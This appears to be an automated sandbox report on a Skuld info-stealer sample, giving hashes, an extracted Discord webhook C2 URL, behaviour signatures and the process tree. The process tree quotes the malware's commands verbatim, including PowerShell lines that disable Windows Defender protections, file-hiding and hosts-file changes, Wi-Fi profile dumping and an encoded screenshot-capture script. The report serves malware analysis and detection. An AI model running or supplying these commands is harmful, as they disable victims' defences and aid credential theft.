Analysis

  • max time kernel
    95s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2024 08:15

General

  • Target

    e70c39d1f1ac0e52fcc52d64fa871f30.exe

  • Size

    9.8MB

  • MD5

    e70c39d1f1ac0e52fcc52d64fa871f30

  • SHA1

    f17425132831a1ad0a112c75b7a7f04fed73c965

  • SHA256

    1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

  • SHA512

    50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

  • SSDEEP

    98304:hH6fVmD1C2gnoWoS7Kr7Eg7ru9MvE9pRD4Z4S5bovr:hH31C2bSI7Eg7ySsqBRovr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1313142704439427092/YKwWrnk0E-QciBzXVfcEmZg-CAYCUchZuAphpzY_DvCmjRKFsYGLIEowP8dExV6arEe2

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e70c39d1f1ac0e52fcc52d64fa871f30.exe
    "C:\Users\Admin\AppData\Local\Temp\e70c39d1f1ac0e52fcc52d64fa871f30.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\e70c39d1f1ac0e52fcc52d64fa871f30.exe
      2⤵
      • Views/modifies file attributes
      PID:3600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\e70c39d1f1ac0e52fcc52d64fa871f30.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2272
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5024
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2872
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4856
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:3488
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:3644
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:2620
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4216
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2448
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rukiyxxj\rukiyxxj.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1816
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F4F.tmp" "c:\Users\Admin\AppData\Local\Temp\rukiyxxj\CSC6945721D259F468DB92C85F92E97FB42.TMP"
            4⤵
              PID:2644

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        cadef9abd087803c630df65264a6c81c

        SHA1

        babbf3636c347c8727c35f3eef2ee643dbcc4bd2

        SHA256

        cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

        SHA512

        7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        dd1d0b083fedf44b482a028fb70b96e8

        SHA1

        dc9c027937c9f6d52268a1504cbae42a39c8d36a

        SHA256

        cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c

        SHA512

        96bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973

      • C:\Users\Admin\AppData\Local\Temp\NPWA4z5A5j\Display (1).png

        Filesize

        424KB

        MD5

        9c713f3ed0f74224dae678409574dada

        SHA1

        fca5b35281d6acffe83d766f068e4b8676ddc148

        SHA256

        192bf4003170c5c7047afad39597d8cfda185ada0583c13384b9758f37d4ee9f

        SHA512

        98e923e59103660da3fb44aa909b62dc0ff6d1ee334ded53a219441c4142cc5422b672fc441bd5c9be107f3d654afb8d39dcbc3886c0e0f9b4ac1fd8ec682367

      • C:\Users\Admin\AppData\Local\Temp\RES8F4F.tmp

        Filesize

        1KB

        MD5

        051738c4d5c7bc72191790131cd4fb97

        SHA1

        337caae8aa94864d59aa6e6deb4d6c6b2c93d706

        SHA256

        00866bf91b6ed4a0c76be65c99d00370118e19bbfcd7eada56fbe111addb6e9a

        SHA512

        0b85a3d4d324e98892fa2d27cc8f05c9ce02aea9af0acda15e7ec10221c89c2243b0d8e8023bea61038559d3b11cbc4512d2de09663709812f93e05876803e29

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ek3k2of.qdr.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\rukiyxxj\rukiyxxj.dll

        Filesize

        4KB

        MD5

        93683c5418c4118318ef5f5dd55bf1ef

        SHA1

        8e773a0fe8f38a3ba8aaa71b16dd685edd6407ab

        SHA256

        923a5ea9696a840482b10be29ad5fc26e43943e3cd0508beafd9859354f848dc

        SHA512

        e1aaa61d8d25df17e3454cd0933d3c679a74fdfcef4fd21a6a8f81e086d0e65bd0886e9078a7b83cb8138d1480e5ee40396b34ac64258ed2252157c8e47c0ffb

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.8MB

        MD5

        e70c39d1f1ac0e52fcc52d64fa871f30

        SHA1

        f17425132831a1ad0a112c75b7a7f04fed73c965

        SHA256

        1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

        SHA512

        50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\rukiyxxj\CSC6945721D259F468DB92C85F92E97FB42.TMP

        Filesize

        652B

        MD5

        c9d538b720e01c66185395b52cdfd8ba

        SHA1

        732e601c6018f54849967e3288fc4621824f966a

        SHA256

        230d368648f7a9fc6bc0f5c8fb3c6ab61db5b8d08ae275819d8e73bf72a0f0ba

        SHA512

        31841f575f210c8e5e9a1378e25f807d1b443fffe917ae3a58cfecb5ed7dbbfe5e0372cefe431c5500af7d4ee9cfa510707fb2ffb0ba84517bcc054c61d0fdcb

      • \??\c:\Users\Admin\AppData\Local\Temp\rukiyxxj\rukiyxxj.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\rukiyxxj\rukiyxxj.cmdline

        Filesize

        607B

        MD5

        4647534c7a375bff26f5b055b31c4e48

        SHA1

        d3aa4334251c8550a4ae233a5ad100bf86e5e719

        SHA256

        459f3f7cd5fd49b17764034a4060b82718ae33b340a30f6e13553bfb0732b5ba

        SHA512

        d595e58c208ecc05595693c4c850c9066e4fcfe6ac59ee420ceb2f520b2db62d4a65664720fcbd673fd0e312c3e03e18f5de1d93e3730a08ca8e3144d3117aad

      • memory/2272-0-0x00007FFB76543000-0x00007FFB76545000-memory.dmp

        Filesize

        8KB

      • memory/2272-17-0x00007FFB76540000-0x00007FFB77001000-memory.dmp

        Filesize

        10.8MB

      • memory/2272-12-0x00007FFB76540000-0x00007FFB77001000-memory.dmp

        Filesize

        10.8MB

      • memory/2272-7-0x00007FFB76540000-0x00007FFB77001000-memory.dmp

        Filesize

        10.8MB

      • memory/2272-1-0x000001875AB40000-0x000001875AB62000-memory.dmp

        Filesize

        136KB

      • memory/2448-67-0x0000021858670000-0x0000021858678000-memory.dmp

        Filesize

        32KB